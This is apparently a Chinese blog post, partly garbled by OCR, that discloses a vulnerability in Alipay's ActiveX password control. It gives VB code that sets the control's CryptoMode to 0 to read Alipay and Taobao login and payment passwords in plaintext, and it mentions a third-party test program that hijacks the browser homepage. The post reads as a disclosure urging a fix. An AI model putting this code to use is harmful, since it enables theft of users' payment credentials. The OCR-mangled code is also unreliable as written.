无意在网上看到有人爆出支付宝安全控件存在严重漏洞,可以轻易获取登陆密码和支付 密码的明文。 如果真的存在的话,那么我们的网上交易安全就存在极大的风险了! 我们都知道支付宝是是国内领先的独立第三方支付平台,注册用户超过5亿,如果出现安 全漏洞后果是无法想象 的。漏洞发现者还放出了 EXE测试程序,不过却有自我宣传打 广告的意图,测试程序打开会强制锁定你的IE主页, 关闭时也回弹出他自己网站网 页。我测试了他的程序发现支付宝确实存在密码登陆明文漏洞。据作者说“竟然能一 行代码提取支付宝密码明文”。
大概看下了程序,应该是利用IE接口获取的。打开https ://www. alipay. com/看了下源 codebase=〃https://download, alipay. com/aliedit/aliedit/2401/aliedit. cab#Version= 1,1, 0,0〃 > 其中:488A4255-3236-44B3-8F27-FA1AECAA8844 是密码控件 els id 值,_fmu. 1. _0. p_ie 是 ID值。页 面这段是否隐藏了某些东西呢?我们知道要获取网页显示内容可以用irmerHTML 获取。本人只懂VB,所以文中的 代码都是VB写的。 我随便输入一密码,输入的数字1,发现用 WebBrowserl. Document. getElementByld (^fmu. 1. _0. p_ie〃). innerHTML 获取到的以下代码 <PARAM NAME=〃_cx〃 VALUE=〃5133〃XPARAM NAME=〃_cy〃 VALUE=〃635〃>〈PARAM NAME="Passwo rdMode〃 VALUE=,,-1,,XPARAM NME=,,SecurityMode,/ VALUE=,,-1,,XPARAM NAME=〃TextValue〃 VALUE=,,3DES_2_000000000000000000000000000000_FDB704F0F6FA87B7,,XPARAM NAME=〃MaxLength〃 VALUE=〃20〃>〈PA_ NAME=〃LogMode〃 VALUE=〃0〃XPA_ NAME=〃TextData〃 VALUE=,,3DES_2_000000000000000000000000000000_FDB704F0F6FA87B7,,XPARAM NAME=〃Readonly〃 VALUE=〃0〃XPA_ NAME=〃CryptoMode〃 VALUE=〃4〃>〈PA_ NAME=〃cm5ts〃 VALUE=〃〃>〈PA_ NAME=〃 cm5pk〃 VALUE=〃〃> 得到了数字 1 的加密内容 3DES_2_000000000000000000000000000000_FDB704F0F6FA87B7 3DES是加密方式,FDB704F0F6FA87B7是加密后的密文。看了每个变量,CryptoMode引起了 我的注意,从字面上猜应该是某种接口,原来的值可以看到是4,如果改变它的值会发生什 么? 修改代码为: WebBrowserl. Document. getElementByld(〃_fmu. 1. _0. p_ie〃). CryptoMode =” 0” 经测试CryptoMode的值为0时得到了登陆密码的明文,值不同加密方式也不同,4就 是表示 3DES加密,0应该表示不加密。CryptoMode的值不同得到的密文就不同。原来支付 宝为了方便 还留下这个加密接口,汗! 经测试引用这个密码安全控件的支付宝登陆页面登陆密码,支付页面的 支付密码,淘宝 的登陆页面登陆密码,都可以用这种方法获取到密码明文!只是每个页面的ID值不一样而
以下给出完整获取账号密码的代码: user = WebBrowserl. Document. getElementByld(〃il-user〃). Value 1-user 为账号 WebBrowserl. Document. getElementByld("_fmu. 1. _0. p_ie〃). CryptoMode = 〃0〃 ‘ 修 改加密方式,0不加密 pass = WebBrowserl. Document. getElementByld (〃_fmu. 1. _0. p_ie〃). TextData <获取 密码 Text3 = 〃帐户名:"& user & 〃 密码:〃 & pass 至于获取支付密码和淘宝登陆密码原理是一样的,由于涉及到很多原因我就不再深入测 试下去了。都是存在相同漏洞!希望官方尽快修补此漏洞!
|